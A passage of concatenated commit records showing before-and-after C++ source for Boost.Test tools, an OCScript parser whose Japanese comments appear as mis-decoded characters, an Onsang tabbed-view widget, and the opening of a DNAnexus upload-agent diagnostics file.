namespace test_toolbox\n\n} \/\/ namespace boost\n\n\/\/ ***************************************************************************\n\/\/ Revision History :\n\/\/ \n\/\/ $Log$\n\/\/ Revision 1.15 2003\/02\/15 21:54:18 rogeeff\n\/\/ is_defined made portable\n\/\/\n\/\/ Revision 1.14 2003\/02\/14 06:40:27 rogeeff\n\/\/ mingw fix\n\/\/\n\/\/ Revision 1.13 2003\/02\/13 08:15:25 rogeeff\n\/\/ BOOST_BITWIZE_EQUAL introduced\n\/\/ BOOST_CHECK_NO_THROW introduced\n\/\/ C string literals eliminated\n\/\/ report_level -> log_level\n\/\/ other minor fixes\n\/\/\n\/\/ Revision 1.12 2002\/12\/08 18:20:30 rogeeff\n\/\/ wrapstratream separated in standalone file and renamed\n\/\/ switched to use c_string_literal\n\/\/\n\/\/ Revision 1.11 2002\/11\/02 20:23:24 rogeeff\n\/\/ wrapstream copy constructor isuue fix reworked\n\/\/\n\/\/ Revision 1.10 2002\/11\/02 20:04:41 rogeeff\n\/\/ release 1.29.0 merged into the main trank\n\/\/\n\n\/\/ ***************************************************************************\n\n\/\/ EOF\n<commit_msg>added support for extended users predicate returning also error message<commit_after>\/\/ (C) Copyright Ullrich Koethe 2001, Gennadiy Rozental 2001-2003.\n\/\/ Permission to copy, use, modify, sell and distribute this software\n\/\/ is granted provided this copyright notice appears in all copies.\n\/\/ This software is provided \"as is\" without express or implied warranty,\n\/\/ and with no claim as to its suitability for any purpose.\n\n\/\/ See http:\/\/www.boost.org for updates, documentation, and revision history.\n\/\/\n\/\/ File : $RCSfile$\n\/\/\n\/\/ Version : $Revision$\n\/\/\n\/\/ Description : supplies offline implemtation for the Test Tools\n\/\/ ***************************************************************************\n\n\/\/ Boost.Test\n#include <boost\/test\/test_tools.hpp>\n#include <boost\/test\/unit_test_result.hpp>\n\n\/\/ BOOST\n#include <boost\/config.hpp>\n\n\/\/ STL\n#include <fstream>\n#include <iostream>\n#include <algorithm>\n#include <cstring> \n#include <string>\n\n# ifdef BOOST_NO_STDC_NAMESPACE\nnamespace std { using ::strcmp; using ::strncmp; using ::strlen; }\n# endif\n\nnamespace boost {\n\nnamespace test_toolbox {\n\nnamespace detail {\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** TOOL BOX Implementation ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nvoid\ncheckpoint_impl( wrap_stringstream& message, c_string_literal file_name, std::size_t line_num )\n{\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_test_suites )\n unit_test_framework::checkpoint( message.str() )\n BOOST_UT_LOG_END\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nmessage_impl( wrap_stringstream& message, c_string_literal file_name, std::size_t line_num )\n{\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_messages )\n message.str()\n BOOST_UT_LOG_END\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nwarn_and_continue_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num, bool add_fail_pass )\n{\n if( !predicate ) {\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_warnings )\n (add_fail_pass ? \"condition \" : \"\") << message.str() << (add_fail_pass ? \" is not satisfied\" : \"\" )\n BOOST_UT_LOG_END\n }\n else {\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_successful_tests )\n \"condition \" << message.str() << \" is satisfied\"\n BOOST_UT_LOG_END\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nwarn_and_continue_impl( extended_predicate_value const& v, wrap_stringstream& message, c_string_literal file_name, std::size_t line_num,\n bool add_fail_pass )\n{\n warn_and_continue_impl( !!v,\n message << (add_fail_pass && !v ? \" is not satisfied. \" : \"\" ) << *(v.p_message),\n file_name, line_num, false );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\ntest_and_continue_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( !predicate ) {\n unit_test_framework::unit_test_result::instance().inc_failed_assertions();\n\n BOOST_UT_LOG_BEGIN( file_name, line_num, loglevel )\n (add_fail_pass ? \"test \" : \"\") << message.str() << (add_fail_pass ? \" failed\" : \"\")\n BOOST_UT_LOG_END\n\n return true;\n }\n else {\n unit_test_framework::unit_test_result::instance().inc_passed_assertions();\n\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_successful_tests )\n (add_fail_pass ? \"test \" : \"\") << message.str() << (add_fail_pass ? \" passed\" : \"\")\n BOOST_UT_LOG_END\n\n return false;\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\ntest_and_continue_impl( extended_predicate_value const& v, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n return test_and_continue_impl( !!v,\n message << (add_fail_pass ? (!v ? \" failed. \" : \" passed. \") : \"\") << *(v.p_message),\n file_name, line_num, false, loglevel );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\ntest_and_throw_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( test_and_continue_impl( predicate, message, file_name, line_num, add_fail_pass, loglevel ) ) {\n throw test_tool_failed(); \/\/ error already reported by test_and_continue_impl\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\ntest_and_throw_impl( extended_predicate_value const& v, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( test_and_continue_impl( v, message, file_name, line_num, add_fail_pass, loglevel ) ) {\n throw test_tool_failed(); \/\/ error already reported by test_and_continue_impl\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\nequal_and_continue_impl( c_string_literal left, c_string_literal right, wrap_stringstream& message,\n c_string_literal file_name, std::size_t line_num,\n unit_test_framework::log_level loglevel )\n{\n bool predicate = (left && right) ? std::strcmp( left, right ) == 0 : (left == right);\n\n left = left ? left : \"null string\";\n right = right ? right : \"null string\";\n\n if( !predicate ) {\n return test_and_continue_impl( false,\n wrap_stringstream().ref() << \"test \" << message.str() << \" failed [\" << left << \" != \" << right << \"]\",\n file_name, line_num, false, loglevel );\n }\n\n return test_and_continue_impl( true, message, file_name, line_num, true, loglevel );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\nis_defined_impl( c_string_literal symbol_name, c_string_literal symbol_value )\n{\n\/\/ return std::strncmp( symbol_name, symbol_value, std::strlen( symbol_name ) ) != 0;\n return std::strcmp( symbol_name, symbol_value + 2 ) != 0;\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace detail\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** output_test_stream ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nstruct output_test_stream::Impl\n{\n std::fstream m_pattern_to_match_or_save;\n bool m_match_or_save;\n std::string m_synced_string;\n\n void check_and_fill( extended_predicate_value& res )\n {\n if( !res.p_predicate_value.get() )\n *(res.p_message) << \"Output content: \\\"\" << m_synced_string << '\\\"';\n }\n};\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::output_test_stream( std::string const& pattern_file_name, bool match_or_save )\n: m_pimpl( new Impl )\n{\n if( !pattern_file_name.empty() )\n m_pimpl->m_pattern_to_match_or_save.open( pattern_file_name.c_str(), match_or_save ? std::ios::in : std::ios::out );\n\n m_pimpl->m_match_or_save = match_or_save;\n}\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::output_test_stream( c_string_literal pattern_file_name, bool match_or_save )\n: m_pimpl( new Impl )\n{\n if( pattern_file_name && pattern_file_name[0] != '\\0' )\n m_pimpl->m_pattern_to_match_or_save.open( pattern_file_name, match_or_save ? std::ios::in : std::ios::out );\n\n m_pimpl->m_match_or_save = match_or_save;\n}\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::~output_test_stream()\n{\n}\n\n\/\/____________________________________________________________________________\/\/\n\nextended_predicate_value\noutput_test_stream::is_empty( bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string.empty() );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nextended_predicate_value\noutput_test_stream::check_length( std::size_t length_, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string.length() == length_ );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nextended_predicate_value\noutput_test_stream::is_equal( c_string_literal arg, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == arg );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nextended_predicate_value\noutput_test_stream::is_equal( std::string const& arg, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == arg );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nextended_predicate_value\noutput_test_stream::is_equal( c_string_literal arg, std::size_t n, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == std::string( arg, n ) );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\noutput_test_stream::match_pattern( bool flush_stream )\n{\n sync();\n\n bool result = true;\n\n if( !m_pimpl->m_pattern_to_match_or_save.is_open() )\n result = false;\n else {\n if( m_pimpl->m_match_or_save ) {\n c_string_literal ptr = m_pimpl->m_synced_string.c_str();\n\n for( std::size_t i = 0; i != m_pimpl->m_synced_string.length(); i++, ptr++ ) {\n char c;\n m_pimpl->m_pattern_to_match_or_save.get( c );\n\n if( m_pimpl->m_pattern_to_match_or_save.fail() ||\n m_pimpl->m_pattern_to_match_or_save.eof() )\n {\n result = false;\n break;\n }\n\n if( *ptr != c ) {\n result = false;\n }\n }\n }\n else {\n m_pimpl->m_pattern_to_match_or_save.write( m_pimpl->m_synced_string.c_str(), \n static_cast<std::streamsize>( m_pimpl->m_synced_string.length() ) );\n m_pimpl->m_pattern_to_match_or_save.flush();\n }\n }\n\n if( flush_stream )\n flush();\n\n return result;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\noutput_test_stream::flush()\n{\n m_pimpl->m_synced_string.erase();\n\n#ifndef BOOST_NO_STRINGSTREAM\n str( std::string() );\n#else\n seekp( 0, std::ios::beg );\n#endif\n}\n\n\/\/____________________________________________________________________________\/\/\n\nstd::size_t\noutput_test_stream::length()\n{\n sync();\n\n return m_pimpl->m_synced_string.length();\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\noutput_test_stream::sync()\n{\n#ifdef BOOST_NO_STRINGSTREAM\n m_pimpl->m_synced_string.assign( str(), pcount() );\n freeze( false );\n#else\n m_pimpl->m_synced_string = str();\n#endif\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace test_toolbox\n\n} \/\/ namespace boost\n\n\/\/ ***************************************************************************\n\/\/ Revision History :\n\/\/ \n\/\/ $Log$\n\/\/ Revision 1.16 2003\/06\/09 09:14:35 rogeeff\n\/\/ added support for extended users predicate returning also error message\n\/\/\n\n\/\/ ***************************************************************************\n\n\/\/ EOF\n<|endoftext|>"} {"text":"<commit_before>#pragma once\nusing namespace std;\n\n#include <vector>\n#include <regex>\n\n#include \"ICommand.hpp\"\n#include \"Line.hpp\"\n#include \"Utility.hpp\"\n\nnamespace OCScript\n{\n\t\/\/ OCScript̃RANXłB\n\tclass Core\n\t{\n\tprivate:\n\t\tvector<ICommandExecutable*> _Commands;\n\t\tvector<Line> _ScriptStorage;\n\t\tint _CurrentLineIndex;\n\tpublic:\n\n\t\t\/\/ R}hlj܂B\n\t\t\/\/ : ICommandExecutableR}h̃NX\n\t\tvoid AddCommand(ICommandExecutable *command)\n\t\t{\n\t\t\t_Commands.push_back(command);\n\t\t}\n\n\t\t\/\/ ɎssύX܂B\n\t\t\/\/ : s0n܂CfbNX\n\t\tvoid SetCurrentLineIndex(int lineIndex)\n\t\t{\n\t\t\t_CurrentLineIndex = lineIndex;\n\t\t}\n\n\t\t\/\/ XNvg ScriptStorage Ɉꊇǂݍ݂܂B\n\t\t\/\/ : s؂蕶̃xN^\n\t\t\/\/ O”\\̂郁\\bhł\n\t\tvoid LoadScript(const vector<string> scriptLines)\n\t\t{\n\t\t\tvector<Line> lines;\n\n\t\t\tint lineIndex = 1;\n\t\t\tfor (auto scriptLine : scriptLines)\n\t\t\t{\n\t\t\t\tsmatch m1, m2;\n\n\t\t\t\t\/\/ sł͂Ȃ\n\t\t\t\tif (!regex_match(scriptLine, regex(\"^[ \\t]*$\")))\n\t\t\t\t{\n\t\t\t\t\tm1 = smatch();\n\n\t\t\t\t\t\/\/ \\Ƀ}b`\n\t\t\t\t\tif (regex_match(scriptLine, m1, regex(\"^[ \\t]*([a-zA-Z0-9._-]+)[ \\t]*\\\\((.+)\\\\)[ \\t]*;[ \\t]*$\")))\n\t\t\t\t\t{\n\t\t\t\t\t\tstring commandName = m1[1];\n\t\t\t\t\t\tstring paramsStr = m1[2];\n\n\t\t\t\t\t\tvector<string> paramsSourceVec = Utility::StrSplit(paramsStr, ',');\n\t\t\t\t\t\tvector<string> paramsDestVec;\n\t\t\t\t\t\tint paramIndex = 1;\n\t\t\t\t\t\tfor (auto paramToken : paramsSourceVec)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstring content;\n\t\t\t\t\t\t\tm1 = smatch();\n\t\t\t\t\t\t\tm2 = smatch();\n\n\t\t\t\t\t\t\t\/\/ NH[gẗł\n\t\t\t\t\t\t\tif (regex_match(paramToken, m1, regex(\"^[ \\t]*\\\"(.*)\\\"[ \\t]*$\")) || regex_match(paramToken, m2, regex(\"^[ \\t]*\\'(.*)\\'[ \\t]*$\")))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!m1.empty())\n\t\t\t\t\t\t\t\t\tcontent = m1[1];\n\t\t\t\t\t\t\t\telse if (!m2.empty())\n\t\t\t\t\t\t\t\t\tcontent = m2[1];\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tthrow exception((\"VXeG[܂B}b`ʂĂ܂B(s: \" + to_string(lineIndex) + \")\").c_str());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tm1 = smatch();\n\t\t\t\t\t\t\t\tif (!regex_match(paramToken, m1, regex(\"^[ \\t]*([^ \\t]*)[ \\t]*$\")))\n\t\t\t\t\t\t\t\t\tthrow exception((\"͎̉ɃG[܂B(s: \" + to_string(lineIndex) + \", ԍ: \" + to_string(paramIndex) + \")\").c_str());\n\n\t\t\t\t\t\t\t\tcontent = m1[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tparamsDestVec.push_back(content);\n\t\t\t\t\t\t\tparamIndex++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlines.push_back(Line(commandName, paramsDestVec));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tthrow exception((\"\\G[܂B(s: \" + to_string(lineIndex) + \")\").c_str());\n\t\t\t\t}\n\t\t\t\tlineIndex++;\n\t\t\t}\n\t\t\t_ScriptStorage = vector<Line>(lines);\n\t\t}\n\n\t\t\/\/ XNvg ScriptStorage Ɉꊇǂݍ݂܂B\n\t\t\/\/ : XNvg̕\n\t\t\/\/ O”\\̂郁\\bhł\n\t\tvoid LoadScript(const string scriptText)\n\t\t{\n\t\t\tvector<string> scriptLines = Utility::StrSplit(scriptText, '\\n');\n\t\t\tLoadScript(scriptLines);\n\t\t}\n\n\t\t\/\/ s̑ΏۂƂȂĂXNvgs܂B\n\t\tvoid ExecuteCurrentLine()\n\t\t{\n\t\t\tif (_ScriptStorage.empty())\n\t\t\t\tthrow(\"ScriptStorage̒głB\");\n\t\t}\n\t};\n}<commit_msg>fix typo<commit_after>#pragma once\nusing namespace std;\n\n#include <vector>\n#include <regex>\n\n#include \"ICommand.hpp\"\n#include \"Line.hpp\"\n#include \"Utility.hpp\"\n\nnamespace OCScript\n{\n\t\/\/ OCScript̃RANXłB\n\tclass Core\n\t{\n\tprivate:\n\t\tvector<ICommandExecutable*> _Commands;\n\t\tvector<Line> _ScriptStorage;\n\t\tint _CurrentLineIndex;\n\tpublic:\n\n\t\t\/\/ R}hlj܂B\n\t\t\/\/ : ICommandExecutableR}h̃NX\n\t\tvoid AddCommand(ICommandExecutable *command)\n\t\t{\n\t\t\t_Commands.push_back(command);\n\t\t}\n\n\t\t\/\/ ɎssύX܂B\n\t\t\/\/ : s0n܂CfbNX\n\t\tvoid SetCurrentLineIndex(int lineIndex)\n\t\t{\n\t\t\t_CurrentLineIndex = lineIndex;\n\t\t}\n\n\t\t\/\/ XNvg ScriptStorage Ɉꊇǂݍ݂܂B\n\t\t\/\/ : s؂蕶̃xN^\n\t\t\/\/ O”\\̂郁\\bhł\n\t\tvoid LoadScript(const vector<string> scriptLines)\n\t\t{\n\t\t\tvector<Line> lines;\n\n\t\t\tint lineIndex = 1;\n\t\t\tfor (auto scriptLine : scriptLines)\n\t\t\t{\n\t\t\t\tsmatch m1, m2;\n\n\t\t\t\t\/\/ sł͂Ȃ\n\t\t\t\tif (!regex_match(scriptLine, regex(\"^[ \\t]*$\")))\n\t\t\t\t{\n\t\t\t\t\tm1 = smatch();\n\n\t\t\t\t\t\/\/ \\Ƀ}b`\n\t\t\t\t\tif (regex_match(scriptLine, m1, regex(\"^[ \\t]*([a-zA-Z0-9._-]+)[ \\t]*\\\\((.+)\\\\)[ \\t]*;[ \\t]*$\")))\n\t\t\t\t\t{\n\t\t\t\t\t\tstring commandName = m1[1];\n\t\t\t\t\t\tstring paramsStr = m1[2];\n\n\t\t\t\t\t\tvector<string> paramsSourceVec = Utility::StrSplit(paramsStr, ',');\n\t\t\t\t\t\tvector<string> paramsDestVec;\n\t\t\t\t\t\tint paramIndex = 1;\n\t\t\t\t\t\tfor (auto paramToken : paramsSourceVec)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstring content;\n\t\t\t\t\t\t\tm1 = smatch();\n\t\t\t\t\t\t\tm2 = smatch();\n\n\t\t\t\t\t\t\t\/\/ NH[gẗł\n\t\t\t\t\t\t\tif (regex_match(paramToken, m1, regex(\"^[ \\t]*\\\"(.*)\\\"[ \\t]*$\")) || regex_match(paramToken, m2, regex(\"^[ \\t]*\\'(.*)\\'[ \\t]*$\")))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!m1.empty())\n\t\t\t\t\t\t\t\t\tcontent = m1[1];\n\t\t\t\t\t\t\t\telse if (!m2.empty())\n\t\t\t\t\t\t\t\t\tcontent = m2[1];\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tthrow exception((\"VXeG[܂B}b`ʂĂ܂B(s: \" + to_string(lineIndex) + \")\").c_str());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tm1 = smatch();\n\t\t\t\t\t\t\t\tif (!regex_match(paramToken, m1, regex(\"^[ \\t]*([^ \\t]*)[ \\t]*$\")))\n\t\t\t\t\t\t\t\t\tthrow exception((\"͎̉ɃG[܂B(s: \" + to_string(lineIndex) + \", ԍ: \" + to_string(paramIndex) + \")\").c_str());\n\n\t\t\t\t\t\t\t\tcontent = m1[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tparamsDestVec.push_back(content);\n\t\t\t\t\t\t\tparamIndex++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlines.push_back(Line(commandName, paramsDestVec));\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tthrow exception((\"\\G[܂B(s: \" + to_string(lineIndex) + \")\").c_str());\n\t\t\t\t}\n\t\t\t\tlineIndex++;\n\t\t\t}\n\t\t\t_ScriptStorage = vector<Line>(lines);\n\t\t}\n\n\t\t\/\/ XNvg ScriptStorage Ɉꊇǂݍ݂܂B\n\t\t\/\/ : XNvg̕\n\t\t\/\/ O”\\̂郁\\bhł\n\t\tvoid LoadScript(const string scriptText)\n\t\t{\n\t\t\tvector<string> scriptLines = Utility::StrSplit(scriptText, '\\n');\n\t\t\tLoadScript(scriptLines);\n\t\t}\n\n\t\t\/\/ s̑ΏۂƂȂĂXNvgs܂B\n\t\tvoid ExecuteCurrentLine()\n\t\t{\n\t\t\tif (_ScriptStorage.empty())\n\t\t\t\tthrow(\"ScriptStorage̒głB\");\n\t\t}\n\t};\n}<|endoftext|>"} {"text":"<commit_before>\/**\n@copyright MIT license; see @ref index or the accompanying LICENSE file.\n*\/\n\n#include <Onsang\/config.hpp>\n#include <Onsang\/aux.hpp>\n#include <Onsang\/String.hpp>\n#include <Onsang\/UI\/Defs.hpp>\n#include <Onsang\/UI\/TabbedView.hpp>\n\n#include <duct\/debug.hpp>\n\nnamespace Onsang {\nnamespace UI {\n\n\/\/ Beard::ui::Widget::Base implementation\n\nvoid\nTabbedView::cache_geometry_impl() noexcept {\n\tm_container->cache_geometry();\n\tif (!get_geometry().is_static()) {\n\t\tauto const& ws = m_container->get_geometry().get_request_size();\n\t\tauto rs = get_geometry().get_request_size();\n\t\trs.width = max_ce(rs.width , ws.width);\n\t\trs.height = max_ce(rs.height, ws.height);\n\t\tget_geometry().set_request_size(std::move(rs));\n\t}\n}\n\nvoid\nTabbedView::reflow_impl(\n\tRect const& area,\n\tbool const cache\n) noexcept {\n\tbase::reflow_impl(area, cache);\n\tm_container->reflow(area, false);\n}\n\nvoid\nTabbedView::render_impl(\n\tUI::Widget::RenderData& rd\n) noexcept {\n\tm_container->render(rd);\n}\n\nsigned\nTabbedView::num_children_impl() const noexcept {\n\treturn 1;\n}\n\nUI::Widget::SPtr\nTabbedView::get_child_impl(\n\tsigned const index\n) {\n\tDUCT_ASSERTE(0 == index);\n\treturn m_container;\n}\n\n\/\/ UI::View implementation\n\nunsigned\nTabbedView::sub_view_index() noexcept {\n\treturn m_container->m_position;\n}\n\nUI::View::SPtr\nTabbedView::sub_view() noexcept {\n\treturn m_container->empty()\n\t\t? UI::View::SPtr{}\n\t\t: std::dynamic_pointer_cast<UI::View>(\n\t\t\tm_container->m_tabs[m_container->m_position].widget\n\t\t)\n\t;\n}\n\nvoid\nTabbedView::set_sub_view_impl(\n\tunsigned const index\n) noexcept {\n\tm_container->set_current_tab(index);\n}\n\nunsigned\nTabbedView::num_sub_views() noexcept {\n\treturn m_container->m_tabs.size();\n}\n\nvoid\nTabbedView::close_sub_view(\n\tunsigned index\n) noexcept {\n\tif (index < m_container->m_tabs.size()) {\n\t\tm_container->remove(index);\n\t}\n}\n\nvoid\nTabbedView::sub_view_title_changed(\n\tunsigned index\n) noexcept {\n\tif (index < m_container->m_tabs.size()) {\n\t\tauto const& tab = m_container->m_tabs[index];\n\t\tauto const view = std::dynamic_pointer_cast<UI::View>(tab.widget);\n\t\tif (view) {\n\t\t\tm_container->set_title(index, view->view_title());\n\t\t}\n\t}\n}\n\nvoid\nTabbedView::notify_command(\n\tUI::View* const \/*parent_view*\/,\n\tHord::Cmd::UnitBase const& command,\n\tHord::Cmd::type_info const& type_info\n) noexcept {\n\tauto const& tabs = m_container->m_tabs;\n\tfor (unsigned index = 0; index < tabs.size(); ++index) {\n\t\tauto& tab = tabs[index];\n\t\tauto const view = std::dynamic_pointer_cast<UI::View>(tab.widget);\n\t\tif (!view) {\n\t\t\tcontinue;\n\t\t}\n\t\tview->notify_command(this, command, type_info);\n\t}\n}\n\n} \/\/ namespace UI\n} \/\/ namespace Onsang\n<commit_msg>UI\/TabbedView: set CSL description to self when last sub-view is closed.<commit_after>\/**\n@copyright MIT license; see @ref index or the accompanying LICENSE file.\n*\/\n\n#include <Onsang\/config.hpp>\n#include <Onsang\/aux.hpp>\n#include <Onsang\/String.hpp>\n#include <Onsang\/UI\/Defs.hpp>\n#include <Onsang\/UI\/TabbedView.hpp>\n#include <Onsang\/App.hpp>\n\n#include <duct\/debug.hpp>\n\nnamespace Onsang {\nnamespace UI {\n\n\/\/ Beard::ui::Widget::Base implementation\n\nvoid\nTabbedView::cache_geometry_impl() noexcept {\n\tm_container->cache_geometry();\n\tif (!get_geometry().is_static()) {\n\t\tauto const& ws = m_container->get_geometry().get_request_size();\n\t\tauto rs = get_geometry().get_request_size();\n\t\trs.width = max_ce(rs.width , ws.width);\n\t\trs.height = max_ce(rs.height, ws.height);\n\t\tget_geometry().set_request_size(std::move(rs));\n\t}\n}\n\nvoid\nTabbedView::reflow_impl(\n\tRect const& area,\n\tbool const cache\n) noexcept {\n\tbase::reflow_impl(area, cache);\n\tm_container->reflow(area, false);\n}\n\nvoid\nTabbedView::render_impl(\n\tUI::Widget::RenderData& rd\n) noexcept {\n\tm_container->render(rd);\n}\n\nsigned\nTabbedView::num_children_impl() const noexcept {\n\treturn 1;\n}\n\nUI::Widget::SPtr\nTabbedView::get_child_impl(\n\tsigned const index\n) {\n\tDUCT_ASSERTE(0 == index);\n\treturn m_container;\n}\n\n\/\/ UI::View implementation\n\nunsigned\nTabbedView::sub_view_index() noexcept {\n\treturn m_container->m_position;\n}\n\nUI::View::SPtr\nTabbedView::sub_view() noexcept {\n\treturn m_container->empty()\n\t\t? UI::View::SPtr{}\n\t\t: std::dynamic_pointer_cast<UI::View>(\n\t\t\tm_container->m_tabs[m_container->m_position].widget\n\t\t)\n\t;\n}\n\nvoid\nTabbedView::set_sub_view_impl(\n\tunsigned const index\n) noexcept {\n\tm_container->set_current_tab(index);\n}\n\nunsigned\nTabbedView::num_sub_views() noexcept {\n\treturn m_container->m_tabs.size();\n}\n\nvoid\nTabbedView::close_sub_view(\n\tunsigned index\n) noexcept {\n\tif (index < m_container->m_tabs.size()) {\n\t\tm_container->remove(index);\n\t\tif (m_container->m_tabs.empty()) {\n\t\t\tApp::instance.m_ui.csline->clear_location();\n\t\t\tApp::instance.m_ui.csline->set_description(view_description());\n\t\t}\n\t}\n}\n\nvoid\nTabbedView::sub_view_title_changed(\n\tunsigned index\n) noexcept {\n\tif (index < m_container->m_tabs.size()) {\n\t\tauto const& tab = m_container->m_tabs[index];\n\t\tauto const view = std::dynamic_pointer_cast<UI::View>(tab.widget);\n\t\tif (view) {\n\t\t\tm_container->set_title(index, view->view_title());\n\t\t}\n\t}\n}\n\nvoid\nTabbedView::notify_command(\n\tUI::View* const \/*parent_view*\/,\n\tHord::Cmd::UnitBase const& command,\n\tHord::Cmd::type_info const& type_info\n) noexcept {\n\tauto const& tabs = m_container->m_tabs;\n\tfor (unsigned index = 0; index < tabs.size(); ++index) {\n\t\tauto& tab = tabs[index];\n\t\tauto const view = std::dynamic_pointer_cast<UI::View>(tab.widget);\n\t\tif (!view) {\n\t\t\tcontinue;\n\t\t}\n\t\tview->notify_command(this, command, type_info);\n\t}\n}\n\n} \/\/ namespace UI\n} \/\/ namespace Onsang\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2016 DNAnexus, Inc.\n\/\/\n\/\/ This file is part of dx-toolkit (DNAnexus platform client libraries).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n\/\/ not use this file except in compliance with the License. You may obtain a\n\/\/ copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n\/\/ WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n\/\/ License for the specific language governing permissions and limitations\n\/\/ under the License.\n\n\n\n\/\/ This function should be called before opt.setApiserverDxConfig() is called,\n\/\/ since opt::setApiserverDxConfig() changes the value of dx::config::*, based on command line args\n\n#include <string>\n#include \"ua_test.h\"\n#include \"dxcpp\/dxcpp.h\"\n#include \"api_helper.h\"\n#include \"options.h\"\n#include \"api.h\"\n#include \"round_robin_dns.h\"\n\n#if WINDOWS_BUILD\n#include <windows.h>\n#else\n#include <sys\/utsname.h>\n#endif\n\nusing namespace std;\nusing namespace dx;\nusing namespace dx::config;\n\nvoid runTests()\n{\n version();\n printEnvironmentInfo(false);\n testWhoAmI();\n currentProject();\n proxySettings(); \n osInfo();\n certificateFile();\n resolveAmazonS3();\n contactGoogle();\n}\n\nvoid version() {\n cout << \"Upload Agent Version: \" << UAVERSION;\n#if OLD_KERNEL_SUPPORT\n cout << \" (old-kernel-support)\";\n#endif\n cout << endl\n << \" git version: \" << DXTOOLKIT_GITVERSION << endl\n << \" libboost version: \" << (BOOST_VERSION \/ 100000) << \".\" << ((BOOST_VERSION \/ 100) % 1000) << \".\" << (BOOST_VERSION % 100) << endl\n << \" libcurl version: \" << LIBCURL_VERSION_MAJOR << \".\" << LIBCURL_VERSION_MINOR << \".\" << LIBCURL_VERSION_PATCH << endl;\n}\n\nvoid osInfo(){\n#if WINDOWS_BUILD\n OSVERSIONINFO vi;\n vi.dwOSVersionInfoSize = sizeof(vi);\n try {\n GetVersionEx(&vi);\n cout << \"Operating System:\" << endl\n << \" Windows: \" << vi.dwMajorVersion << \".\" << vi.dwMinorVersion << \".\" << vi.dwBuildNumber\n << \".\" << vi.dwPlatformId << \" \" << vi.szCSDVersion << endl;\n } catch(exception &e){\n cout << \"Unable to get OS information\" << e.what() << 